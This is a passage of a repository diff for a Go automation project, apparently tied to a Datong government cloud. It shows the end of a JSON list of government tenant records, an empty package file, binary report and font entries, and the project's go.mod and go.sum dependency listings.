|
||||
{
|
||||
"id": "1909704420602413068",
|
||||
"tenantName": "行政审批服务管理局_审批辅助管理系统",
|
||||
"remark": "",
|
||||
"createTime": "1733472684000",
|
||||
"creator": "useradmin",
|
||||
"useStatus": 0,
|
||||
"isParentTenant": 0,
|
||||
"isIdentity": 0,
|
||||
"enterpriseName": "",
|
||||
"creditCode": "",
|
||||
"isEnterpriseOn": 0,
|
||||
"userAdminCode": "zwwfzgl",
|
||||
"userAdminId": "1909704420602413070",
|
||||
"isEnterpriseHaveMain": "0",
|
||||
"dedicatePlatformCode": "",
|
||||
"dedicatePlatformName": ""
|
||||
},
|
||||
{
|
||||
"id": "1909695169108639748",
|
||||
"tenantName": "行政审批服务管理局_便民系统",
|
||||
"remark": "",
|
||||
"createTime": "1733470529000",
|
||||
"creator": "useradmin",
|
||||
"useStatus": 0,
|
||||
"isParentTenant": 0,
|
||||
"isIdentity": 0,
|
||||
"enterpriseName": "",
|
||||
"creditCode": "",
|
||||
"isEnterpriseOn": 0,
|
||||
"userAdminCode": "zwwbmxt",
|
||||
"userAdminId": "1909695169108639750",
|
||||
"isEnterpriseHaveMain": "0",
|
||||
"dedicatePlatformCode": "",
|
||||
"dedicatePlatformName": ""
|
||||
},
|
||||
{
|
||||
"id": "1898489170070863881",
|
||||
"tenantName": "云州区委员会宣传部",
|
||||
"remark": "",
|
||||
"createTime": "1730861430000",
|
||||
"creator": "useradmin",
|
||||
"useStatus": 0,
|
||||
"isParentTenant": 0,
|
||||
"isIdentity": 0,
|
||||
"enterpriseName": "",
|
||||
"creditCode": "",
|
||||
"isEnterpriseOn": 0,
|
||||
"userAdminCode": "zwwyzxc",
|
||||
"userAdminId": "1898489170070863883",
|
||||
"isEnterpriseHaveMain": "0",
|
||||
"dedicatePlatformCode": "",
|
||||
"dedicatePlatformName": ""
|
||||
},
|
||||
{
|
||||
"id": "1898184326177095686",
|
||||
"tenantName": "大同市数据局",
|
||||
"remark": "",
|
||||
"createTime": "1730790453000",
|
||||
"creator": "useradmin",
|
||||
"useStatus": 0,
|
||||
"isParentTenant": 0,
|
||||
"isIdentity": 0,
|
||||
"enterpriseName": "",
|
||||
"creditCode": "",
|
||||
"isEnterpriseOn": 0,
|
||||
"userAdminCode": "zwwsjj",
|
||||
"userAdminId": "1898184326177095688",
|
||||
"isEnterpriseHaveMain": "0",
|
||||
"dedicatePlatformCode": "",
|
||||
"dedicatePlatformName": ""
|
||||
},
|
||||
{
|
||||
"id": "1896688599521296387",
|
||||
"tenantName": "大同市电子健康卡系统",
|
||||
"remark": "",
|
||||
"createTime": "1730442201000",
|
||||
"creator": "useradmin",
|
||||
"useStatus": 0,
|
||||
"isParentTenant": 0,
|
||||
"isIdentity": 0,
|
||||
"enterpriseName": "",
|
||||
"creditCode": "",
|
||||
"isEnterpriseOn": 0,
|
||||
"userAdminCode": "zwwwjwk",
|
||||
"userAdminId": "1896688599521296389",
|
||||
"isEnterpriseHaveMain": "0",
|
||||
"dedicatePlatformCode": "",
|
||||
"dedicatePlatformName": ""
|
||||
},
|
||||
{
|
||||
"id": "1893644300797870081",
|
||||
"tenantName": "大同市市场监督管理局",
|
||||
"remark": "",
|
||||
"createTime": "1729733396000",
|
||||
"creator": "useradmin",
|
||||
"useStatus": 0,
|
||||
"isParentTenant": 0,
|
||||
"isIdentity": 0,
|
||||
"enterpriseName": "",
|
||||
"creditCode": "",
|
||||
"isEnterpriseOn": 0,
|
||||
"userAdminCode": "zwwscjd",
|
||||
"userAdminId": "1893644300797870083",
|
||||
"isEnterpriseHaveMain": "0",
|
||||
"dedicatePlatformCode": "",
|
||||
"dedicatePlatformName": ""
|
||||
},
|
||||
{
|
||||
"id": "1893374890518511616",
|
||||
"tenantName": "审批局取叫号系统",
|
||||
"remark": "",
|
||||
"createTime": "1729670668000",
|
||||
"creator": "useradmin",
|
||||
"useStatus": 0,
|
||||
"isParentTenant": 0,
|
||||
"isIdentity": 0,
|
||||
"enterpriseName": "",
|
||||
"creditCode": "",
|
||||
"isEnterpriseOn": 0,
|
||||
"userAdminCode": "zwwqjhxt",
|
||||
"userAdminId": "1893374890518511618",
|
||||
"isEnterpriseHaveMain": "0",
|
||||
"dedicatePlatformCode": "",
|
||||
"dedicatePlatformName": ""
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
1
dtcloud/zww_resource.go
Normal file
@ -0,0 +1 @@
|
||||
package dtcloud
|
BIN
file/2025年第8周大同信创云运维周报.docx
Normal file
BIN
file/大同信创云月度服务报告-20250228.docx
Normal file
BIN
font/MSYH.TTC
Normal file
BIN
font/MSYHBD.TTC
Normal file
BIN
font/MSYHL.TTC
Normal file
BIN
font/SIMFANG.TTF
Normal file
BIN
font/SIMSUN.TTC
Normal file
48
go.mod
Normal file
@ -0,0 +1,48 @@
|
||||
module dt_automate
|
||||
|
||||
go 1.23.6
|
||||
|
||||
require (
|
||||
github.com/Esword618/unioffice v1.4.1
|
||||
github.com/fogleman/gg v1.3.0
|
||||
github.com/go-sql-driver/mysql v1.9.0
|
||||
github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1
|
||||
github.com/kbinani/screenshot v0.0.0-20250118074034-a3924b7bbc8c
|
||||
github.com/playwright-community/playwright-go v0.5001.0
|
||||
github.com/spf13/viper v1.19.0
|
||||
github.com/super-l/machine-code v0.0.0-20241121142923-4cb40646deba
|
||||
github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common v1.0.1114
|
||||
github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/tmt v1.0.1113
|
||||
)
|
||||
|
||||
require (
|
||||
filippo.io/edwards25519 v1.1.0 // indirect
|
||||
github.com/deckarep/golang-set/v2 v2.6.0 // indirect
|
||||
github.com/fsnotify/fsnotify v1.7.0 // indirect
|
||||
github.com/gen2brain/shm v0.1.0 // indirect
|
||||
github.com/go-jose/go-jose/v3 v3.0.3 // indirect
|
||||
github.com/go-stack/stack v1.8.1 // indirect
|
||||
github.com/godbus/dbus/v5 v5.1.0 // indirect
|
||||
github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0 // indirect
|
||||
github.com/hashicorp/hcl v1.0.0 // indirect
|
||||
github.com/jezek/xgb v1.1.1 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/magiconair/properties v1.8.7 // indirect
|
||||
github.com/mitchellh/mapstructure v1.5.0 // indirect
|
||||
github.com/pelletier/go-toml/v2 v2.2.2 // indirect
|
||||
github.com/sagikazarmark/locafero v0.4.0 // indirect
|
||||
github.com/sagikazarmark/slog-shim v0.1.0 // indirect
|
||||
github.com/sourcegraph/conc v0.3.0 // indirect
|
||||
github.com/spf13/afero v1.11.0 // indirect
|
||||
github.com/spf13/cast v1.6.0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/subosito/gotenv v1.6.0 // indirect
|
||||
go.uber.org/atomic v1.9.0 // indirect
|
||||
go.uber.org/multierr v1.9.0 // indirect
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9 // indirect
|
||||
golang.org/x/image v0.24.0 // indirect
|
||||
golang.org/x/sys v0.28.0 // indirect
|
||||
golang.org/x/text v0.22.0 // indirect
|
||||
gopkg.in/ini.v1 v1.67.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
)
|
152
go.sum
Normal file
@ -0,0 +1,152 @@
|
||||
filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA=
|
||||
filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4=
|
||||
github.com/Esword618/unioffice v1.4.1 h1:qdcC+FpAPfLU3/WbUoICt1WgDR0tDC9ZPmBx4g3LRXM=
|
||||
github.com/Esword618/unioffice v1.4.1/go.mod h1:8BQw+FmXV1Xfu7UeEtwL8wdk8gfM1Ib0RHqklrRr764=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM=
|
||||
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/deckarep/golang-set/v2 v2.6.0 h1:XfcQbWM1LlMB8BsJ8N9vW5ehnnPVIw0je80NsVHagjM=
|
||||
github.com/deckarep/golang-set/v2 v2.6.0/go.mod h1:VAky9rY/yGXJOLEDv3OMci+7wtDpOF4IN+y82NBOac4=
|
||||
github.com/fogleman/gg v1.3.0 h1:/7zJX8F6AaYQc57WQCyN9cAIz+4bCJGO9B+dyW29am8=
|
||||
github.com/fogleman/gg v1.3.0/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k=
|
||||
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
|
||||
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
|
||||
github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA=
|
||||
github.com/fsnotify/fsnotify v1.7.0/go.mod h1:40Bi/Hjc2AVfZrqy+aj+yEI+/bRxZnMJyTJwOpGvigM=
|
||||
github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY=
|
||||
github.com/gen2brain/shm v0.1.0/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA=
|
||||
github.com/go-jose/go-jose/v3 v3.0.3 h1:fFKWeig/irsp7XD2zBxvnmA/XaRWp5V3CBsZXJF7G7k=
|
||||
github.com/go-jose/go-jose/v3 v3.0.3/go.mod h1:5b+7YgP7ZICgJDBdfjZaIt+H/9L9T/YQrVfLAMboGkQ=
|
||||
github.com/go-sql-driver/mysql v1.9.0 h1:Y0zIbQXhQKmQgTp44Y1dp3wTXcn804QoTptLZT1vtvo=
|
||||
github.com/go-sql-driver/mysql v1.9.0/go.mod h1:pDetrLJeA3oMujJuvXc8RJoasr589B6A9fwzD3QMrqw=
|
||||
github.com/go-stack/stack v1.8.1 h1:ntEHSVwIt7PNXNpgPmVfMrNhLtgjlmnZha2kOpuRiDw=
|
||||
github.com/go-stack/stack v1.8.1/go.mod h1:dcoOX6HbPZSZptuspn9bctJ+N/CnF5gGygcUP3XYfe4=
|
||||
github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1 h1:FWNFq4fM1wPfcK40yHE5UO3RUdSNPaBC+j3PokzA6OQ=
|
||||
github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI=
|
||||
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
|
||||
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
||||
github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0 h1:DACJavvAHhabrF08vX0COfcOBJRhZ8lUbR+ZWIs0Y5g=
|
||||
github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k=
|
||||
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
|
||||
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4=
|
||||
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
|
||||
github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4=
|
||||
github.com/jezek/xgb v1.1.1/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk=
|
||||
github.com/kbinani/screenshot v0.0.0-20250118074034-a3924b7bbc8c h1:1IlzDla/ZATV/FsRn1ETf7ir91PHS2mrd4VMunEtd9k=
|
||||
github.com/kbinani/screenshot v0.0.0-20250118074034-a3924b7bbc8c/go.mod h1:Pmpz2BLf55auQZ67u3rvyI2vAQvNetkK/4zYUmpauZQ=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY=
|
||||
github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0=
|
||||
github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
|
||||
github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
|
||||
github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY=
|
||||
github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
|
||||
github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM=
|
||||
github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs=
|
||||
github.com/playwright-community/playwright-go v0.5001.0 h1:EY3oB+rU9cUp6CLHguWE8VMZTwAg+83Yyb7dQqEmGLg=
|
||||
github.com/playwright-community/playwright-go v0.5001.0/go.mod h1:kBNWs/w2aJ2ZUp1wEOOFLXgOqvppFngM5OS+qyhl+ZM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U=
|
||||
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M=
|
||||
github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA=
|
||||
github.com/sagikazarmark/locafero v0.4.0 h1:HApY1R9zGo4DBgr7dqsTH/JJxLTTsOt7u6keLGt6kNQ=
|
||||
github.com/sagikazarmark/locafero v0.4.0/go.mod h1:Pe1W6UlPYUk/+wc/6KFhbORCfqzgYEpgQ3O5fPuL3H4=
|
||||
github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE=
|
||||
github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ=
|
||||
github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo=
|
||||
github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0=
|
||||
github.com/spf13/afero v1.11.0 h1:WJQKhtpdm3v2IzqG8VMqrr6Rf3UYpEF239Jy9wNepM8=
|
||||
github.com/spf13/afero v1.11.0/go.mod h1:GH9Y3pIexgf1MTIWtNGyogA5MwRIDXGUr+hbWNoBjkY=
|
||||
github.com/spf13/cast v1.6.0 h1:GEiTHELF+vaR5dhz3VqZfFSzZjYbgeKDpBxQVS4GYJ0=
|
||||
github.com/spf13/cast v1.6.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo=
|
||||
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/spf13/viper v1.19.0 h1:RWq5SEjt8o25SROyN3z2OrDB9l7RPd3lwTWU8EcEdcI=
|
||||
github.com/spf13/viper v1.19.0/go.mod h1:GQUN9bilAbhU/jgc1bKs99f/suXKeUMct8Adx5+Ntkg=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
|
||||
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
|
||||
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
|
||||
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
|
||||
github.com/super-l/machine-code v0.0.0-20241121142923-4cb40646deba h1:C5gpfEvyVK0LsmUr/Tcy0i2uBxSA2W77Hc7uVce+7LM=
|
||||
github.com/super-l/machine-code v0.0.0-20241121142923-4cb40646deba/go.mod h1:6oTChH5PcxwHUciRyeSdxJHeTLoMkiAg3gMjIounfZg=
|
||||
github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common v1.0.1113/go.mod h1:r5r4xbfxSaeR04b166HGsBa/R4U3SueirEUpXGuw+Q0=
|
||||
github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common v1.0.1114 h1:+LcGbkxgk+MRjplJej/Kmj9Hp043RI3rAGGcHqHNj2I=
|
||||
github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common v1.0.1114/go.mod h1:r5r4xbfxSaeR04b166HGsBa/R4U3SueirEUpXGuw+Q0=
|
||||
github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/tmt v1.0.1113 h1:+HIWdV61rF1gR9sSHf//nQLFMLctN1e13xHFOXS416E=
|
||||
github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/tmt v1.0.1113/go.mod h1:PXkyGGVlfcNJBMT/40hICkSCr03nxj5GxMewmemz2to=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
go.uber.org/atomic v1.9.0 h1:ECmE8Bn/WFTYwEW/bpKD3M8VtR/zQVbavAoalC1PYyE=
|
||||
go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
|
||||
go.uber.org/multierr v1.9.0 h1:7fIwc/ZtS0q++VgcfqFDxSBZVv/Xo49/SYnDFupUwlI=
|
||||
go.uber.org/multierr v1.9.0/go.mod h1:X2jQV1h+kxSjClGpnseKVIxpmcjrj7MNnI0bnlfKTVQ=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g=
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k=
|
||||
golang.org/x/image v0.24.0 h1:AN7zRgVsbvmTfNyqIbbOraYL8mSwcKncEj8ofjgzcMQ=
|
||||
golang.org/x/image v0.24.0/go.mod h1:4b/ITuLfqYq1hqZcjofwctIhi7sZh2WaCjvsBNjjya8=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA=
|
||||
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
|
||||
golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||
golang.org/x/text v0.22.0 h1:bofq7m3/HAFvbF51jz3Q9wLg3jkvSPuiZu/pD1XwgtM=
|
||||
golang.org/x/text v0.22.0/go.mod h1:YRoo4H8PVmsu+E3Ou7cqLVH8oXWIHVoX0jqUWALQhfY=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
